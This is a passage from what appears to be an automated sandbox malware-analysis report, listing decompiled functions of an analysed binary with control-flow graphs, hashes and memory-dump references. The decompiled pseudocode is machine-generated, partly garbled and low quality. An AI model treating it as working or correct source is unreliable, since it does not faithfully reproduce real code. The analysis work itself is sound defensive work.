                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3A21D632A0C24951E620AF11A404BAFE660FB857A4FC01236EE9E17BE5EFBDD147C750
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2533160 Relevance: 1.3, APIs: 1, Instructions: 49COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memset$wcslen$wcscpy
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3662116142-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b2fed0ded8b2f140cc0053cafb4756f69767417afb6626f4ed50a3d12ffc3dca
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3dffbc69895f5250f955c29bff7dbfc05e0004e981d8b7bdddcbeec867dfb712
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b2fed0ded8b2f140cc0053cafb4756f69767417afb6626f4ed50a3d12ffc3dca
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C001E132B0C68550E220AA13A800BEE9651AF86BD0FC45172FE9E03B86CE7CE247C714
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2535196 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 501 7ff7d2535196-7ff7d25351bb 502 7ff7d25351c1-7ff7d25351c6 501->502 503 7ff7d2535310-7ff7d2535314 501->503 504 7ff7d25351c8-7ff7d25351cd 502->504 505 7ff7d2535223-7ff7d2535228 502->505 503->502 506 7ff7d253531a 503->506 507 7ff7d2535242-7ff7d2535252 signal 504->507 508 7ff7d25351cf-7ff7d25351d4 504->508 510 7ff7d253522e 505->510 511 7ff7d25352e5-7ff7d25352f5 call 7ff7d253b100 505->511 509 7ff7d2535270 506->509 512 7ff7d25352f7-7ff7d25352fa 507->512 513 7ff7d2535258-7ff7d253526c signal call 7ff7d2534b50 507->513 508->509 515 7ff7d25351da 508->515 516 7ff7d2535275-7ff7d253527a 509->516 517 7ff7d2535280-7ff7d2535285 510->517 518 7ff7d2535230-7ff7d2535235 510->518 511->512 530 7ff7d2535330-7ff7d2535344 signal 511->530 523 7ff7d25352ce-7ff7d25352d8 512->523 524 7ff7d25352fc-7ff7d2535308 512->524 513->509 521 7ff7d25352c0-7ff7d25352c5 515->521 522 7ff7d25351e0-7ff7d25351e5 515->522 517->509 525 7ff7d2535287-7ff7d253528c 517->525 518->509 526 7ff7d2535237-7ff7d253523c 518->526 532 7ff7d253528e-7ff7d253529e signal 521->532 533 7ff7d25352c7-7ff7d25352cc 521->533 522->509 531 7ff7d25351eb-7ff7d25351f0 522->531 527 7ff7d25352da-7ff7d25352e1 523->527 528 7ff7d2535320-7ff7d2535327 523->528 524->516 525->523 525->532 526->507 526->523 527->511 530->516 531->523 534 7ff7d25351f6-7ff7d2535206 signal 531->534 536 7ff7d2535349-7ff7d253535b signal 532->536 537 7ff7d25352a4-7ff7d25352a7 532->537 533->509 533->523 538 7ff7d253520c-7ff7d253520f 534->538 539 7ff7d2535360-7ff7d2535372 signal 534->539 536->516 537->523 540 7ff7d25352a9-7ff7d25352b5 537->540 538->523 541 7ff7d2535215-7ff7d2535221 538->541 539->516 540->516 541->516
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 20%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2535196(void* __eax, void* __ecx, long long* __rax, signed int** __rcx) {
				signed int _t2;
				void* _t21;
				void* _t31;

				asm("lodsb");
				 *((intOrPtr*)(__rax)) =  *((intOrPtr*)(__rax)) + __eax;
				_t2 =  *( *__rcx);
				if ((_t2 & 0x20ffffff) == 0x20474343) goto 0xd2535310;
				if (_t2 - 0xc0000091 > 0) goto 0xd2535223;
				if (_t2 - 0xc000008d >= 0) goto 0xd2535242;
				_t21 = _t2 - 0xc0000008;
				if (_t21 == 0) goto 0xd2535270;
				if (_t21 > 0) goto 0xd25352c0;
				if (_t2 == 0x80000002) goto 0xd2535270;
				if (_t2 != 0xc0000005) goto 0xd25352ce;
				0xd253b100(_t31);
				if (__rax == 1) goto 0xd2535360;
				if (__rax == 0) goto 0xd25352ce;
				 *__rax();
				goto 0xd2535275;
				if (0xffffffff == 0xc0000094) goto 0xd25352e5;
				if (0xffffffff - 0xc0000094 > 0) goto 0xd2535280;
				if (0xffffffff == 0xc0000092) goto 0xd2535270;
				if (0xffffffff != 0xc0000093) goto 0xd25352ce;
				0xd253b100();
				if (__rax != 1) goto 0xd25352f7;
				0xd253b100();
				E00007FF77FF7D2534B50(0xffffffff);
				return 0xffffffff;
			}






                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535198
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253519a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351a8
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351bb
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351c6
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351cd
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351cf
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351d4
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351da
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351e5
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351f0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25351fd
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535206
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253520f
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253521a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535221
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535228
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253522e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535235
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253523c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535249
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535252
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535262
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535267
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253527a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: signal
                                                                                                                                                                                                                                                                                                                                                      • String ID: CCG
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1946981877-1584390748
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1d741d6513fdbdd9c58a38358132472cfee7a1614a06939f0c2a431ff52a5118
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3b128a8eabbfc8d5dfe27ee0abc6f31fa04fdf4ebd77d902fd5f71f7d30283ca
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1d741d6513fdbdd9c58a38358132472cfee7a1614a06939f0c2a431ff52a5118
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F3411C30E1C10E06FEA979794454B7C91816F8E324FD876B7E52F822D6CD9CF8868132
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2533220 Relevance: 10.3, APIs: 8, Instructions: 301COMMONCrypto
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 32%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2533220(void* __ecx, void* __rbx, void* __rcx, void* __rdx, void* __rdi, void* __rsi, void* __rbp, void* __r8, void* __r12, void* __r13) {
				void* _v584;
				signed int _v720;
				signed int* _v728;
				signed int _t15;
				void* _t16;
				void* _t21;
				void* _t27;
				void* _t28;
				signed int* _t34;
				signed int* _t38;
				signed int* _t69;

				r8d = 0x208;
				memset(??, ??, ??);
				_t34 =  *0xd27292b0; // 0x81cea1b9d55d73a2
				_v728 = _t34;
				_t15 =  *0xd27292b8; // 0xc7bfbfe6
				_v720 = _t15;
				_t16 = E00007FF77FF7D2535EC0(_t15, 0xd2727440);
				_t69 = _t34;
				E00007FF77FF7D2535EC0(_t16, 0xd2727420);
				_t38 = _t34;
				if ( *_t69 != 0) goto 0xd25332b5;
				_t34[3] = 1;
				r8d = 0;
				 *_t38 = _v728;
				_t38[2] = _v720;
				 *_t69 = 1;
				0xd2535600();
				if (_t38[3] == 0) goto 0xd25332d3;
				_t38[3] = 0;
				 *_t38 =  *_t38 ^ 0xd57373c5;
				_t38[2] = _t38[2] ^ 0xc7bfbf81;
				0xd2533800();
				E00007FF77FF7D2533A50(_v720, _t27, _t28, 0xd57373c5, __r8);
				r8d = 0x8c;
				_t21 = E00007FF77FF7D2535EC0(memcpy(??, ??, ??), 0xd2727480);
				if ( *0xd57373c5 == 0) goto 0xd25333c0;
				E00007FF77FF7D2535EC0(_t21, 0xd2727460);
				if ( *0x81A1A1D5D5737451 == 0) goto 0xd2533365;
			}














                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533245
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253324b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533250
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253325e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533263
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533269
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253326d
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533279
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253327c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533286
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533289
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253328b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533294
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332a1
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332a8
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332ab
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332b0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332b9
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332c5
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332c9
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332cc
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332dc
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332e4
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25332ee
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253330a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253331c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533322
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2533331

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1297977491-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 8a024d9498287bf3b91f1a6be0282f2e1aa11c32ffbb9de2f45d45b2f555ec1d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f099383545d2c4f1762657d821a3b010faf8570a1cfccf53f4b8877404310939
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8a024d9498287bf3b91f1a6be0282f2e1aa11c32ffbb9de2f45d45b2f555ec1d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 44D1E331A0C78695EB11EF25D5447ADE7A0AF59784FC4A076DA4E477A2EFBCE002C720
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D253B189 Relevance: .0, Instructions: 4COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: db44828adefc687dd7d10ec815a388fd0cebef5ce6aba310913b8968cb196b58
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 660b1d2c80635f8cd69f8780bca689f264bee90c7f2d1f9acbcdc8609417c961
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: db44828adefc687dd7d10ec815a388fd0cebef5ce6aba310913b8968cb196b58
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 62A0022284EC4684D2102B409A02576916CDF0B260F942031C71C760118A7DD0028118
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D272D2A4 Relevance: .0, Instructions: 4COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6f62bf9f589aae31410ff7d5ca27dd922bd12a158c8ec3497b69e97bab30d2a4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: b5dd34dbc2e385b996b0858fc393b37d679cf4f730fdb9b55fd42dbe91ed1284
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6f62bf9f589aae31410ff7d5ca27dd922bd12a158c8ec3497b69e97bab30d2a4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A6A0120754E6C00DC2032F1008302A57E640363100768B051C0CC56313C0040104DB50
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2535EC0 Relevance: 15.2, APIs: 10, Instructions: 152COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 453 7ff7d2535ec0-7ff7d2535edc 454 7ff7d2535ef8-7ff7d2535eff 453->454 455 7ff7d2535ede-7ff7d2535ee5 453->455 457 7ff7d2535f01-7ff7d2535f29 GetLastError TlsGetValue SetLastError 454->457 458 7ff7d2535f70-7ff7d2535f76 454->458 456 7ff7d2535ee7-7ff7d2535ef3 455->456 459 7ff7d2535f2f-7ff7d2535f35 457->459 460 7ff7d2535fe0-7ff7d2535ffa call 7ff7d253b0a0 457->460 461 7ff7d253608a-7ff7d2536091 458->461 462 7ff7d2535f7c-7ff7d2535f86 458->462 464 7ff7d2536028-7ff7d253604f call 7ff7d253b0f8 459->464 465 7ff7d2535f3b-7ff7d2535f47 459->465 478 7ff7d2536000 460->478 479 7ff7d2536113-7ff7d2536123 abort 460->479 461->457 468 7ff7d2536097-7ff7d25360ad 461->468 466 7ff7d25360b8-7ff7d25360c0 462->466 467 7ff7d2535f8c-7ff7d2535f94 462->467 464->479 490 7ff7d2536055-7ff7d253606f memset 464->490 465->456 472 7ff7d2535f49-7ff7d2535f56 call 7ff7d2535dc0 465->472 469 7ff7d2536071-7ff7d2536076 call 7ff7d2535e60 466->469 470 7ff7d25360c2-7ff7d25360da 466->470 474 7ff7d2535f9a-7ff7d2535fa1 467->474 475 7ff7d25360ec-7ff7d2536100 WaitForSingleObject 467->475 477 7ff7d2536080-7ff7d2536084 469->477 476 7ff7d25360dc 470->476 470->477 472->456 474->468 484 7ff7d2535fa7-7ff7d2535fab 474->484 475->474 480 7ff7d2536106-7ff7d253610e 475->480 485 7ff7d25360e0-7ff7d25360e8 Sleep 476->485 477->461 477->467 486 7ff7d2536003-7ff7d2536014 TlsSetValue 478->486 487 7ff7d2536130-7ff7d2536134 479->487 488 7ff7d2536125-7ff7d2536128 479->488 480->474 484->457 492 7ff7d2535fb1-7ff7d2535fb9 484->492 485->485 493 7ff7d25360ea 485->493 486->465 494 7ff7d253601a-7ff7d253601d GetLastError 486->494 495 7ff7d253613a-7ff7d253613d 487->495 496 7ff7d2536136 487->496 488->487 490->486 492->457 497 7ff7d2535fbf-7ff7d2535fd4 ReleaseSemaphore 492->497 493->477 494->465 498 7ff7d253613f-7ff7d2536142 495->498 499 7ff7d2536144 495->499 496->495 497->457 498->499 500 7ff7d2536148-7ff7d253614c 498->500
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2535EC0(void* __eax, void* __rcx) {
				intOrPtr* _t8;

				_t8 =  *0xd2729a80; // 0x7ff7d2728690
				r11d =  *_t8;
				if (r11d != 0) goto 0xd2535ef8;
				if ( *((intOrPtr*)(__rcx + 0x10)) == 0) goto 0xd2535f60;
				return __eax;
			}




                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535ecc
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535ed3
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535edc
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535ee5
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2535ef3

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ErrorLast$Value
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1883355122-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b4317f3dae705d526c20bf1dc009f84f4ff2838a09f8b20fbc59444df7fb0cf9
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8499b324b449aa6b55b207e29284c242bbd22fdc61ca81f31feb381af0f00f58
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b4317f3dae705d526c20bf1dc009f84f4ff2838a09f8b20fbc59444df7fb0cf9
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 95615231A0D64685EA25BF159804A7DA391FF59B94FD8A07ACA0F43694CFBDF443C360
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2534B60 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 184COMMON
